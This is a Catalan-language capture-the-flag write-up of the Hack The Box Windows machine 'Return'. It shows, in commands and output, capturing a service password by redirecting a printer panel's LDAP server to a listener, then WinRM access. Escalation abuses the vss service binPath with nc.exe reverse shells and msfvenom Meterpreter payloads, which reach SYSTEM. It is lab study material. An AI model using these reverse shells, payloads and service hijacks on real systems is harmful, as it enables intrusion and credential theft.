



HACK THE BOX · WINDOWS

Return

Informe tècnic complet ·
explotació reproduïble

Màquina Return resolta

HTB Return · 2026-05-08

Màquina	Return
Plataforma	Hack The Box
Estat	Retired
Dificultat	Easy
Sistema	Windows
Data	2026-05-08
Autor	Ramon Santos Sabarich / r4ms4nt



Informe tècnic normalitzat per a arxivament,
consulta i traçabilitat.

GUIA DE LECTURA

Índex

Document tècnic final de la màquina Return, organitzat per a arxivament, consulta i estudi.

1. Introducció del cas

2. Preparació i arrencada del laboratori

Preparació automatitzada

Connectivitat i estimació inicial

3. Enumeració inicial de ports i serveis

Escaneig complet de ports

Escaneig de serveis

4. Decisió de superfície dominant

Fets verificats

Explicació didàctica

5. Enumeració SMB inicial

Resultat rellevant

Interpretació

6. Revisió del panell web

Descàrrega i lectura inicial

Error inicial amb la ruta `/settings`

Lliçó del punt

7. Extracció de configuració LDAP des de `settings.php`

Sol·licitud de la ruta correcta

Evidència clau del formulari

Interpretació

8. Captura de credencial LDAP

Preparació de la IP atacant

Listener LDAP controlat

Enviament del formulari amb servidor LDAP controlat

Resultat obtingut

Interpretació tècnica

9. Validació de credencial per WinRM

Comprovació ràpida amb NetExec

Accés interactiu

Error de context: ordres Linux a PowerShell

10. Enumeració local inicial i obtenció de user

Identitat, SID i grups

Lectura didàctica

Primera flag

11. Anàlisi d'escalada: Server Operators i servei `vss`

Per què es va revisar `vss`

Proves inicials sobre serveis

Validació de control sobre el servei

Confirmació de modificació del `binPath`

12. Intents de validació per fitxer i problemes trobats

Prova inicial amb `whoami`

Problemes de cometes i redireccions

Ús de `--%` a PowerShell

Interpretació

13. Primer canvi de tàctica: `nc.exe` com a shell inversa

Preparació del binari

Error de context: buscar a Parrot des d'Evil-WinRM

Localització correcta de `nc.exe`

Listener i modificació de `vss`

Problema d'estabilitat

14. Segona tàctica: Meterpreter x86

Generació del payload

Handler de Metasploit

Pujada i execució

Interpretació

15. Tercera tàctica: Meterpreter x64 amb migració automàtica

Generació de payload x64

Configuració del handler x64

Pujada del binari

Primer intent x64

Migració automàtica

Confirmació de SYSTEM

16. Obtenció de root i neteja

Lectura de la flag final

Restauració final del servei

17. Resum tècnic final

Cadena validada

Flags

18. Lliçons reutilitzables

18.1. Un panell simple pot ser més important que una enumeració AD àmplia

18.2. Els panells d'impressora solen integrar-se amb LDAP o SMB

18.3. Una credencial trobada no equival a accés final

18.4. A Windows, els grups importen tant com l'usuari

18.5. `sc.exe qc` ha d'acompanyar `sc.exe config`

18.6. L'error 1053 no invalida necessàriament l'execució

18.7. Separar context local i remot evita errors

18.8. Meterpreter requereix ordres pròpies

18.9. L'estabilitat pot requerir migració

18.10. Restaurar el servei forma part del tancament tècnic

19. Punts descartats o no desenvolupats

SMB sense credencials

SeBackupPrivilege / SeRestorePrivilege

Validació per fitxer

1. Introducció del cas

Return és una màquina Windows de dificultat easy la cadena de compromís de la qual es basa en una configuració insegura d'un panell d'administració d'impressora. El punt d'entrada no va ser una explotació per versió ni una vulnerabilitat complexa d'Active Directory, sinó una mala pràctica operativa: el panell permetia modificar el servidor LDAP configurat i, en fer-ho, el backend intentava autenticar-se contra el nou destí amb un compte de servei.

La resolució completa va quedar articulada en aquesta cadena:

```
Panell d'administració d'impressora a IIS
→ configuració LDAP visible
→ modificació del servidor LDAP cap a la IP atacant
→ captura de credencials de svc-printer
→ validació per WinRM
→ shell com a return\svc-printer
→ pertinença a Server Operators
→ modificació del binPath del servei vss
→ execució com a LocalSystem
→ sessió Meterpreter x64 estabilitzada per migració
→ NT AUTHORITY\SYSTEM
→ lectura de root.txt
→ restauració del servei vss
```

La màquina ensenya tres idees especialment importants:

1. Un panell aparentment simple pot contenir configuracions d'integració amb domini que valen més que una enumeració web genèrica.
2. A Windows, els grups de l'usuari compromès són decisius. En aquest cas, `Server Operators` va ser la troballa que va convertir un compte de servei en una via d'escalada.
3. L'explotació mitjançant serveis requereix traçabilitat: documentar el servei original, modificar-lo, executar-lo, confirmar el context i restaurar-lo.

2. Preparació i arrencada del laboratori

Preparació automatitzada

L'arrencada es va fer amb l'script propi `Inici-HTB`, utilitzat per ordenar l'entorn de treball, validar connectivitat i generar evidències inicials:

```
Inici-HTB Return 10.129.95.241 easy
```

Aquest pas no forma part de l'explotació. La seva funció és preparar el cas per treballar amb mètode:

- crear l'estructura de directoris;
- comprovar connectivitat;
- estimar el sistema operatiu;
- llançar l'escaneig complet de ports;
- extreure ports oberts;

- executar l'escaneig de serveis;
- generar una nota inicial amb la superfície dominant suggerida;
- deixar un següent pas únic.

L'estructura esperada del cas va quedar orientada a separar evidències i accions posteriors:

```
Return/  
├── content/  
├── exploits/  
├── nmap/  
│   ├── allPorts  
│   ├── extractPorts.txt  
│   ├── nmap_tcp_services.txt  
│   ├── ping.txt  
│   └── whichSystem.txt  
└── notes/  
    ├── 00_resumen_inicial.md  
    └── 01_siguiembre_paso.txt
```

La lectura didàctica d'aquesta fase és senzilla: abans de buscar una vulnerabilitat cal saber quina superfície existeix realment. Aquesta manera de treballar evita obrir branques per intuïció i obliga a decidir per evidència.

Connectivitat i estimació inicial

La connectivitat va ser correcta:

```
64 bytes from 10.129.95.241: icmp_seq=1 ttl=127 time=48.3 ms
```

L'estimació per TTL va suggerir Windows:

```
10.129.95.241 (ttl -> 127): Windows
```

Aquest senyal no s'ha de tractar com una veritat absoluta, però sí com una pista raonable. En aquest cas va ser coherent amb la resta de l'enumeració posterior.

3. Enumeració inicial de ports i serveis

Escaneig complet de ports

L'escaneig complet va detectar una superfície extensa i clarament associada a Windows/Active Directory:

```
53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49678,49681,49697,49723
```

Ports rellevants:

Port	Servei	Lectura tècnica
53	DNS	Senyal habitual en controlador o entorn de domini
80	HTTP / IIS	Panell web visible
88	Kerberos	Autenticació de domini
389 / 636	LDAP / LDAPS	Director Active Directory
445	SMB	Recursos compartits / domini
5985	WinRM	Accés remot PowerShell si hi ha credencials
9389	ADWS	Active Directory Web Services
47001	HTTPAPI / WinRM auxiliar	Servei Microsoft auxiliar, no web de negoci

La superfície podia portar a pensar en una branca AD pura, però el port **80** va retornar un títol molt concret:

```
http-title: HTB Printer Admin Panel
```

Això va canviar la prioritat de treball. No es tractava d'una web genèrica, sinó d'una aplicació amb possible relació directa amb la infraestructura de domini.

Escaneig de serveis

La sortida de Nmap va confirmar:

```
80/tcp    open  http           Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: return.local0.)
445/tcp   open  microsoft-ds?
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf         .NET Message Framing
```

També es va identificar el host com a **PRINTER**:

```
Service Info: Host: PRINTER; OS: Windows
```

SMB tenia signatura requerida:

```
Message signing enabled and required
```

I es va observar un desfasament horari:

```
clock-skew: 18m33s
```

En una cadena Kerberos avançada, el `clock-skew` podria ser crític. En aquest cas no va ser el camí principal, però va quedar correctament registrat com a dada de context.

4. Decisió de superfície dominant

Fets verificats

La màquina exposava serveis de domini, però també un panell HTTP amb nom específic:

```
HTB Printer Admin Panel
```

La decisió inicial va quedar així:

```
Superfície dominant:  
Windows / Active Directory amb panell web IIS d'impressora al port 80.  
  
Branca principal:  
WEB-BASE orientada al panell d'administració d'impressora.  
  
Branques secundàries:  
AD / SMB / LDAP / Kerberos.  
WinRM pendent de credencials.  
SMB pendent de comprovar accés anònim o informació de domini.
```

Explicació didàctica

En un host amb Kerberos, LDAP, SMB i WinRM cal tenir present la branca Active Directory. Tanmateix, el panell d'impressora era més accionable en aquell moment perquè oferia una superfície concreta, navegable i potencialment connectada amb LDAP.

Els panells d'impressores corporatives solen emmagatzemar configuracions de:

- servidor LDAP;
- servidor SMB;
- domini;
- usuari de servei;
- contrasenya o secret d'integració;
- rutes d'escaneig o emmagatzematge.

Per tant, abans de forçar SMB, Kerberos o WinRM, tenia sentit revisar el panell web i buscar configuració reutilitzable.

5. Enumeració SMB inicial

Es va executar `enum4linux` per comprovar si SMB oferia informació útil sense credencials:

```
enum4linux -a 10.129.95.241 | tee content/enum4linux_return.txt
```


Resultat rellevant

L'eina va confirmar el domini:

```
Domain Name: RETURN
Domain Sid: S-1-5-21-3750359090-2939318659-876128439

[+] Host is part of a domain (not a workgroup)
```

Tanmateix, les consultes útils van fallar per permisos:

```
NT_STATUS_ACCESS_DENIED
```

No es van obtenir:

- usuaris;
- shares útils;
- política de contrasenyes;
- RID cycling;
- informació d'impressora per spoolss.

Interpretació

SMB va ser útil per confirmar context de domini, però no va obrir una via operativa sense credencials. Per tant, va quedar com a branca secundària.

Aquesta fase il·lustra una distinció important: que una eina confirmi una sessió parcial o informació mínima no significa que aquella branca sigui explotable. Aquí SMB va aportar context, no accés.

6. Revisió del panell web

Descàrrega i lectura inicial

Es va descarregar la pàgina principal:

```
curl -sS -D content/http_root_headers.txt http://10.129.95.241/ -o content/http_root.html
```

Després es van filtrar referències útils:

```
grep -Ei 'href|settings|printer|ldap|server|username|password|domain|port' content/http_root.html
```

La sortida va confirmar el títol del panell i va mostrar enllaços interns:

```
<title>HTB Printer Admin Panel</title>
<a href="index.php" data-link="true">Home</a>
<a href="settings.php" data-link="true">Settings</a>
<a href="javascript:void(0)" data-link="true">Fax</a>
<a href="javascript:void(0)" data-link="true">Troubleshooting</a>
```

Error inicial amb la ruta `/settings`

Inicialment es va provar:

```
curl -sS -D content/http_settings_headers.txt http://10.129.95.241/settings -o content/http_settings.html
```

El resultat va ser un error:

```
<div id="header"><h1>Server Error</h1></div>
```

Aquest resultat no descartava la secció de configuració. L'HTML havia mostrat la ruta exacta `settings.php`, no `/settings`.

Lliçó del punt

No s'ha de convertir un error de ruta en un descart de branca. L'enllaç real era a l'HTML. La validació correcta era seguir la ruta observada:

```
settings.php
```

7. Extracció de configuració LDAP des de `settings.php`

Sol·licitud de la ruta correcta

Es va descarregar la pàgina de configuració:

```
curl -sS -D content/http_settings_php_headers.txt http://10.129.95.241/settings.php -o content/http_settings_php.html
```

Es van filtrar camps rellevants:

```
grep -Ei 'server|address|port|user|username|password|domain|ldap|smb|printer|value=|input|form|update' content/http_settings_php.html
```

I es va extreure el formulari complet:

```
sed -n '/<form/,/<\form>/p' content/http_settings_php.html
```

Evidència clau del formulari

La pàgina responia correctament:

```
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.13
```

El formulari tenia mètode `POST`:

```
<form action="" method="POST">
```

El camp realment modificable era:

```
<input type="text" name="ip" value="printer.return.local"/>
```

I el panell mostrava configuració LDAP:

```
Server Address: printer.return.local  
Server Port: 389  
Username: svc-printer  
Password: *****
```

Interpretació

Aquesta va ser la primera troballa realment explotable del cas. El panell no només mostrava un usuari de servei, sinó que permetia modificar el servidor LDAP mitjançant el paràmetre `ip`.

Això obria una hipòtesi molt concreta:

Si el backend intenta validar o desar la nova configuració, pot connectar-se al servidor LDAP indicat utilitzant `svc-printer`.

El següent pas no era endevinar la contrasenya, sinó observar si el mateix objectiu l'enviava en configurar un servidor LDAP controlat.

8. Captura de credencial LDAP

Preparació de la IP atacant

Primer es va obtenir la IP de la interfície VPN:

```
ip -4 addr show tun0 | awk '/inet/{print $2}' | cut -d/ -f1
```

Resultat:

```
10.10.15.26
```

Listener LDAP controlat

Com que el panell indicava el port LDAP `389`, es va aixecar un listener en aquest port:

```
sudo nc -lvnp 389 | tee content/ldap_capture_svc_printer.txt
```

Enviament del formulari amb servidor LDAP controlat

Es va reproduir l'enviament del formulari modificant només el paràmetre real observat:

```
curl -sS -i -X POST http://10.129.95.241/settings.php \  
-H 'Content-Type: application/x-www-form-urlencoded' \  
--data-urlencode 'ip=10.10.15.26' \  
| tee content/settings_update_response.txt
```

Resultat obtingut

El listener va rebre connexió des de l'objectiu:

```
connect to [10.10.15.26] from (UNKNOWN) [10.129.95.241] 49980
```

Dins del flux va aparèixer la identitat:

```
return\svc-printer
```

I la contrasenya:

```
1edFg43012!!
```

Interpretació tècnica

L'aplicació va intentar autenticar-se contra el servidor LDAP configurat i va enviar la credencial de `svc-printer`.

La troballa va canviar la branca principal:

```
Configuració exposada del panell  
→ credencial de domini recuperada  
→ validació contra serveis remots
```

Encara no es va assumir accés al sistema. La credencial s'havia de validar contra serveis existents. WinRM era el candidat més fort perquè ja estava obert a `5985`.

9. Validació de credencial per WinRM

Comprovació ràpida amb NetExec

Es va validar la credencial contra WinRM:

```
netexec winrm 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
```

Resultat:

```
WINRM 10.129.95.241 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)  
WINRM 10.129.95.241 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
```

Accés interactiu

Es va obrir sessió amb Evil-WinRM:

```
evil-winrm -i 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
```

La identitat efectiva va quedar confirmada:

```
whoami
```

```
return\svc-printer
```

Error de context: ordres Linux a PowerShell

Durant la sessió es van executar ordres com `id` i `ls -la`, que no pertanyen a PowerShell:

```
The term 'id' is not recognized
A parameter cannot be found that matches parameter name 'la'
```

Això no va afectar l'exploitació, però sí que va deixar una lliçó operativa útil. En entrar per WinRM es treballa a PowerShell, no en una shell Linux.

Equivalències pràctiques:

Linux	PowerShell / Windows
<code>id</code>	<code>whoami /user</code>
<code>grups</code>	<code>whoami /groups</code>
<code>ls -la</code>	<code>Get-ChildItem -Force</code>
<code>pwd</code>	<code>Get-Location</code> o <code>pwd</code>
<code>cat fitxer</code>	<code>type fitxer</code> o <code>Get-Content fitxer</code>

10. Enumeració local inicial i obtenció de user

Identitat, SID i grups

Des d'Evil-WinRM es va documentar el context:

```
hostname
whoami /user
whoami /groups
whoami /priv
```

Host:

```
printer
```

Usuari:

```
return\svc-printer
```

SID:

```
S-1-5-21-3750359090-2939318659-876128439-1103
```

Grups rellevants:

```
BUILTIN\Server Operators  
BUILTIN\Print Operators  
BUILTIN\Remote Management Users
```

Privilegis habilitats rellevants:

```
SeMachineAccountPrivilege  
SeLoadDriverPrivilege  
SeBackupPrivilege  
SeRestorePrivilege  
SeShutdownPrivilege  
SeRemoteShutdownPrivilege
```

Lectura didàctica

`Remote Management Users` explica l'accés per WinRM. Sense aquest permís, una credencial vàlida de domini no necessàriament hauria permès una shell remota.

`Server Operators` va ser la troballa clau d'escalada. Aquest grup pot operar determinats serveis del sistema. Si un usuari pot modificar la ruta d'execució d'un servei que corre com a `LocalSystem`, pot convertir aquesta capacitat en execució privilegiada.

`SeBackupPrivilege` i `SeRestorePrivilege` també eren interessants, però van quedar com a branques secundàries perquè `Server Operators` oferia una via més directa i coherent amb el cas.

Primera flag

Es va revisar l'escriptori de l'usuari:

```
Get-ChildItem -Force C:\Users\svc-printer\Desktop
```

Es va trobar `user.txt`:

```
-ar--- 5/8/2026 5:06 AM 34 user.txt
```

I es va llegir:

```
Get-Content C:\Users\svc-printer\Desktop\user.txt
```

Resultat:

```
46a4f8c3e5bba0afe3432d836dc35450
```


11. Anàlisi d'escalada: Server Operators i servei vss

Per què es va revisar vss

La hipòtesi d'escalada era:

```
svc-printer pertany a Server Operators
→ pot operar serveis
→ si un servei corre com a LocalSystem i es pot modificar
→ es pot executar un binari controlat com a SYSTEM
```

Es va començar pel servei vss perquè és un servei conegut de Windows, sota demanda, i en aquesta màquina permetia consulta i manipulació.

Proves inicials sobre serveis

Una consulta global del Service Control Manager va fallar:

```
sc.exe query
```

```
[SC] OpenSCManager FAILED 5:
Access is denied.
```

Tanmateix, la consulta específica de vss sí que va funcionar:

```
sc.exe qc vss
```

Sortida rellevant:

```
SERVICE_NAME: vss
START_TYPE    : 3    DEMAND_START
BINARY_PATH_NAME : C:\Windows\system32\vssvc.exe
SERVICE_START_NAME : LocalSystem
```

La consulta WMI mitjançant Get-CimInstance va fallar per permisos:

```
Access denied
```

Però sc.exe va proporcionar la informació necessària.

Validació de control sobre el servei

El servei estava aturat:

```
sc.exe stop vss
```

```
[SC] ControlService FAILED 1062:
The service has not been started.
```

Es va poder iniciar:

```
sc.exe start vss
```

```
STATE : 2 START_PENDING  
PID   : 2528
```

I després va aparèixer com a `RUNNING` :

```
sc.exe query vss
```

```
STATE : 4 RUNNING
```

Confirmació de modificació del `binPath`

La prova crítica va ser modificar el `BINARY_PATH_NAME` mantenint el valor original:

```
sc.exe config vss binPath= "C:\Windows\system32\vssvc.exe"
```

Resultat:

```
[SC] ChangeServiceConfig SUCCESS
```

Aquest resultat va validar que `svc-printer` podia modificar la configuració del servei.

La combinació ja era suficient per justificar la via:

```
servei modificable  
+ servei executat com a LocalSystem  
+ capacitat d'iniciar/aturar el servei  
= primitiva d'execució privilegiada
```

12. Intents de validació per fitxer i problemes trobats

Prova inicial amb `whoami`

Es va intentar executar una ordre simple mitjançant el servei:

```
sc.exe config vss binPath= "cmd.exe /c whoami > C:\Users\svc-printer\Documents\whoami_system.txt"  
sc.exe start vss
```

El servei va retornar:

```
[SC] StartService FAILED 1053:  
The service did not respond to the start or control request in a timely fashion.
```

Aquest error era esperable: `cmd.exe /c whoami` no és un servei Windows real. El Service Control Manager espera que el procés es comporti com un servei; una ordre puntual acaba ràpid o no respon al protocol esperat.

El fitxer es va crear, però buit:

```
Length Name
-----
0      whoami_system.txt
```

Problemes de cometes i redireccions

Es va intentar millorar la sintaxi amb cometes i redirecció d'errors:

```
sc.exe config vss binPath= 'C:\Windows\System32\cmd.exe /c "whoami > C:\Windows\Temp\whoami_system.txt 2>&1"'
```

Però `sc.exe` va retornar l'ajuda d'ús, cosa que indicava que l'ordre no s'havia aplicat:

```
USAGE:
    sc <server> config [service name] <option1> <option2>...
```

La lliçó aquí va ser important: quan `sc.exe` mostra ajuda, no s'ha d'assumir que hagi aplicat res. Sempre cal confirmar amb:

```
sc.exe qc vss
```

Ús de `--%` a PowerShell

Per evitar que PowerShell interpretés redireccions i cometes, es va utilitzar l'operador d'aturada de parsing:

```
sc.exe --% config vss binPath= "C:\Windows\System32\cmd.exe /c echo prueba_servicio > C:\Windows\Temp\svc_test.txt"
```

La configuració va quedar aplicada:

```
[SC] ChangeServiceConfig SUCCESS
BINARY_PATH_NAME : C:\Windows\System32\cmd.exe /c echo prueba_servicio > C:\Windows\Temp\svc_test.txt
SERVICE_START_NAME : LocalSystem
```

El servei va tornar a retornar `1053`, però el fitxer existia. El problema va ser que l'usuari no el podia llegir:

```
Access to the path 'C:\Windows\Temp\svc_test.txt' is denied.
```

Interpretació

Aquests intents no van invalidar la tècnica. Al contrari, van confirmar que:

- el `binPath` es podia canviar;
- el servei intentava executar allò configurat;
- l'error `1053` no era criteri de descart;
- la redirecció a fitxer afegia massa fricció per sintaxi i permisos.

La decisió correcta va ser abandonar la validació per fitxer i passar a una connexió inversa.

13. Primer canvi de tàctica: `nc.exe` com a shell inversa

Preparació del binari

Inicialment es va intentar pujar `nc.exe` des d'una ruta absoluta:

```
upload /usr/share/windows-resources/binaries/nc.exe
```

Evil-WinRM ho va interpretar com una ruta relativa al directori local del laboratori:

```
/home/r4mon/pentest/targets/HTB/easy/Return/usr/share/windows-resources/binaries/nc.exe
```

i va fallar:

```
No such file or directory
```

També es va intentar `upload nc.exe`, però el fitxer encara no existia al directori local:

```
No such file or directory /home/r4mon/pentest/targets/HTB/easy/Return/nc.exe
```

Error de context: buscar a Parrot des d'Evil-WinRM

Es va executar per error una ordre Linux dins de PowerShell remot:

```
find /usr/share -type f -iname 'nc.exe' 2>/dev/null
```

PowerShell va interpretar `/dev/null` com una ruta Windows:

```
Could not find a part of the path 'C:\dev\null'
```

Aquest va ser un error operatiu útil per documentar. Calia separar clarament:

```
Terminal local de Parrot ≠ sessió PowerShell remota per Evil-WinRM
```

Localització correcta de `nc.exe`

A la terminal local de Parrot es va buscar el binari:

```
find /usr/share -type f -iname 'nc.exe' 2>/dev/null
```

Resultat:

```
/usr/share/SecLists/SecLists/Web-Shells/FuzzDB/nc.exe  
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
```

Es va copiar al directori del laboratori:

```
cp -v /usr/share/seclists/Web-Shells/FuzzDB/nc.exe ./nc.exe
```

Es va verificar:

```
ls -lh ./nc.exe
```

```
28 KB ./nc.exe
```

Ara sí que es va poder pujar:

```
upload nc.exe
```

Resultat:

```
Data: 37544 bytes of 37544 bytes copied  
Info: Upload successful!
```

I es va confirmar a la víctima:

```
Get-ChildItem -Force C:\Users\svc-printer\Documents\nc.exe
```

```
28160 nc.exe
```

Listener i modificació de `vss`

A Parrot es va obrir un listener:

```
rlwrap -cAr nc -lvnp 1234
```

```
listening on [any] 1234 ...
```

Es va configurar `vss` per executar `nc.exe`:

```
sc.exe config vss binPath= "C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.15.26 1234"
```

Es va confirmar:

```
sc.exe qc vss
```

```
BINARY_PATH_NAME : C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.15.26 1234  
SERVICE_START_NAME : LocalSystem
```

En iniciar el servei va arribar una connexió:

```
connect to [10.10.15.26] from (UNKNOWN) [10.129.95.241] 62773
Microsoft Windows [Version 10.0.17763.107]
C:\Windows\system32>
```

Problema d'estabilitat

La shell va caure abans de confirmar `whoami`.

Aquest resultat va ser suficient per confirmar que el servei executava el binari, però no era una sessió estable. Es va restaurar el servei:

```
sc.exe config vss binPath= "C:\Windows\system32\vssvc.exe"
sc.exe qc vss
```

Confirmació:

```
BINARY_PATH_NAME : C:\Windows\system32\vssvc.exe
SERVICE_START_NAME : LocalSystem
```

14. Segona tàctica: Meterpreter x86

Generació del payload

Es va comprovar que `msfvenom` estava disponible:

```
which msfvenom
```

```
/usr/bin/msfvenom
```

Es va generar un payload Windows x86:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.26 LPORT=1337 -f exe -o shell.exe
```

Resultat:

```
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
```

Es va verificar el binari:

```
ls -lh ./shell.exe
```

```
72 KB ./shell.exe
```


Handler de Metasploit

Es va obrir Metasploit i es va carregar el handler:

```
use exploit/multi/handler
```

Metasploit va seleccionar inicialment un payload genèric:

```
generic/shell_reverse_tcp
```

Es va corregir perquè coincidís amb el binari:

```
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.26
set LPORT 1337
show options
```

Opcions rellevants:

```
Payload options (windows/meterpreter/reverse_tcp):
LHOST 10.10.15.26
LPORT 1337
```

Es va arrencar el handler:

```
run
```

```
Started reverse TCP handler on 10.10.15.26:1337
```

Pujada i execució

Es va pujar el binari:

```
upload shell.exe
```

Resultat:

```
Data: 98400 bytes of 98400 bytes copied
Info: Upload successful!
```

Es va confirmar a la víctima:

```
Get-ChildItem -Force C:\Users\svc-printer\Documents\shell.exe
```

```
73802 shell.exe
```

Es va configurar `vss`:

```
sc.exe config vss binPath= "C:\Users\svc-printer\Documents\shell.exe"
```

Confirmació:

```
BINARY_PATH_NAME : C:\Users\svc-printer\Documents\shell.exe  
SERVICE_START_NAME : LocalSystem
```

En iniciar el servei, Metasploit va rebre sessió:

```
Meterpreter session 1 opened (10.10.15.26:1337 -> 10.129.95.241:53876)
```

Però va morir immediatament:

```
Meterpreter session 1 closed. Reason: Died
```

Interpretació

L'execució estava confirmada, però l'estabilitat continuava sent insuficient. La següent hipòtesi va ser que el payload x86 no era el més adequat per a una màquina Windows Server 2019 de 64 bits.

Es va restaurar novament `vss`.

15. Tercera tàctica: Meterpreter x64 amb migració automàtica

Generació de payload x64

Es va generar un executable x64:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.26 LPORT=4444 -f exe -o shell64.exe
```

Resultat:

```
Payload size: 510 bytes  
Final size of exe file: 7168 bytes  
Saved as: shell64.exe
```

Es va verificar:

```
ls -lh ./shell64.exe
```

```
7.0 KB ./shell64.exe
```

Configuració del handler x64

A Metasploit:

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.15.26
set LPORT 4444
show options
```

Opcions:

```
Payload options (windows/x64/meterpreter/reverse_tcp):
LHOST 10.10.15.26
LPORT 4444
```

Es va arrencar el handler:

```
run
```

```
Started reverse TCP handler on 10.10.15.26:4444
```

Pujada del binari

Es va pujar `shell64.exe`:

```
upload shell64.exe
```

Resultat:

```
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!
```

Es va verificar a la víctima:

```
Get-ChildItem -Force C:\Users\svc-printer\Documents\shell64.exe
```

```
7168 shell64.exe
```

Primer intent x64

Es va configurar `vss`:

```
sc.exe config vss binPath= "C:\Users\svc-printer\Documents\shell64.exe"
```

Es va confirmar:

```
BINARY_PATH_NAME : C:\Users\svc-printer\Documents\shell64.exe
SERVICE_START_NAME : LocalSystem
```

La sessió va obrir-se, però es va tornar a cometre un error de context: es va intentar usar `whoami` dins de Meterpreter.

```
[ - ] Unknown command: whoami. Run the help command for more details.
```

L'ordre correcta a Meterpreter era:

```
getuid
```

La sessió va morir abans de confirmar-ho.

Migració automàtica

Per evitar que la sessió morís abans de migrar manualment, es va configurar la migració automàtica a Metasploit:

```
set AutoRunScript post/windows/manage/migrate
```

Resultat:

```
AutoRunScript => post/windows/manage/migrate
```

Es va relançar el handler:

```
run
```

```
Started reverse TCP handler on 10.10.15.26:4444
```

Es va tornar a configurar `vss` amb `shell64.exe` i es va iniciar el servei.

Metasploit va rebre la sessió i va migrar automàticament:

```
Session ID 3 (10.10.15.26:4444 -> 10.129.95.241:49652) processing AutoRunScript 'post/windows/manage/migrate'
Running module against PRINTER
Current server process: shell64.exe (3856)
Spawning notepad.exe process to migrate into
Migrating into 688
[+] Successfully migrated into process 688
Meterpreter session 3 opened
```

Confirmació de SYSTEM

A Meterpreter es va usar l'ordre correcta:

```
getuid
```

Resultat:

```
Server username: NT AUTHORITY\SYSTEM
```

L'escalada quedava confirmada.

16. Obtenció de root i neteja

Lectura de la flag final

Des de Meterpreter:

```
cat C:\\Users\\Administrator\\Desktop\\root.txt
```

Resultat:

```
19e7fb0b6df382040351bcfd3a9cd6ce
```

Restauració final del servei

Després d'obtenir la flag final, es va restaurar vss :

```
sc.exe config vss binPath= "C:\\Windows\\system32\\vssvc.exe"
```

Resultat:

```
[SC] ChangeServiceConfig SUCCESS
```

Es va confirmar:

```
sc.exe qc vss
```

```
BINARY_PATH_NAME : C:\\Windows\\system32\\vssvc.exe  
SERVICE_START_NAME : LocalSystem
```

Aquesta restauració és una part important de la traçabilitat. L'explotació va modificar temporalment una configuració sensible del sistema; el tancament correcte exigeix demostrar que el servei va tornar al seu estat original.

17. Resum tècnic final

Cadena validada

1. Enumeració inicial:
Windows / AD / IIS / WinRM / LDAP / SMB.
2. Superfície dominant:
Panell web d'impressora a IIS.
3. Troballa web:
settings.php exposa configuració LDAP.
4. Primitiva inicial:
El camp Server Address es pot modificar mitjançant POST usant el paràmetre ip.

5. Captura:
En apuntar el servidor LDAP a la IP atacant, l'objectiu envia credencials.
6. Credencial recuperada:
return\svc-printer : ledFg43012!!
7. Validació:
WinRM accepta la credencial.
8. Accés:
Evil-WinRM com a return\svc-printer.
9. Troballa local:
svc-printer pertany a Server Operators.
10. Escalada:
vss corre com a LocalSystem i permet modificació del binPath.
11. Execució:
shell64.exe executat mitjançant vss.
12. Estabilització:
Meterpreter x64 + AutoRunScript migrate.
13. Privilegis:
NT AUTHORITY\SYSTEM.
14. Tancament:
root.txt llegit i vss restaurat.

Flags

```
user.txt: 46a4f8c3e5bba0afe3432d836dc35450
root.txt: 19e7fb0b6df382040351bcfd3a9cd6ce
```

18. Lliçons reutilitzables

18.1. Un panell simple pot ser més important que una enumeració AD àmplia

Tot i que la màquina exposava molts serveis de domini, la via real va néixer del panell web. La clau va ser no tractar HTTP com una superfície secundària només perquè existien Kerberos o LDAP.

Patró reutilitzable:

```
Panell corporatiu
→ configuració d'integració
→ servidor modificable
→ autenticació sortint
→ captura de credencial
```

18.2. Els panells d'impressora solen integrar-se amb LDAP o SMB

Una impressora multifunció corporativa pot necessitar:

- consultar usuaris a LDAP;
- desar escaneigs en shares;
- autenticar-se contra domini;
- usar comptes de servei.

Per això, una secció `Settings` amb `Server Address`, `Server Port`, `Username` i `Password` s'ha de tractar com una troballa sensible.

18.3. Una credencial trobada no equival a accés final

La contrasenya de `svc-printer` només es va convertir en accés real després de validar-la contra WinRM:

```
netexec winrm 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
```

La comprovació va separar:

```
credencial observada  
→ credencial vàlida  
→ credencial explotable per WinRM
```

18.4. A Windows, els grups importen tant com l'usuari

`svc-printer` no era administrador directe, però pertanyia a `Server Operators`. Aquesta pertinença va permetre manipular serveis.

Ordre clau:

```
whoami /groups
```

La sortida de grups va ser més important que el contingut del directori de l'usuari.

18.5. `sc.exe qc` ha d'acompanyar `sc.exe config`

Cada canvi de servei es va validar amb:

```
sc.exe qc vss
```

Això va evitar assumir que una modificació havia funcionat quan `sc.exe` només havia mostrat ajuda d'ús.

Patró recomanat:

```
sc.exe config ...  
→ comprovar ChangeServiceConfig SUCCESS  
→ sc.exe qc ...  
→ confirmar BINARY_PATH_NAME  
→ iniciar servei
```

18.6. L'error 1053 no invalida necessàriament l'execució

En executar ordres que no són serveis reals, `sc.exe start` pot retornar:

```
StartService FAILED 1053
```

En aquest cas, l'error no significava que l'execució fos impossible. Significava que el procés llançat no responia com un servei Windows.

L'indicador real havia de ser:

- fitxer creat;
- connexió rebuda;
- sessió oberta;
- context confirmat.

18.7. Separar context local i remot evita errors

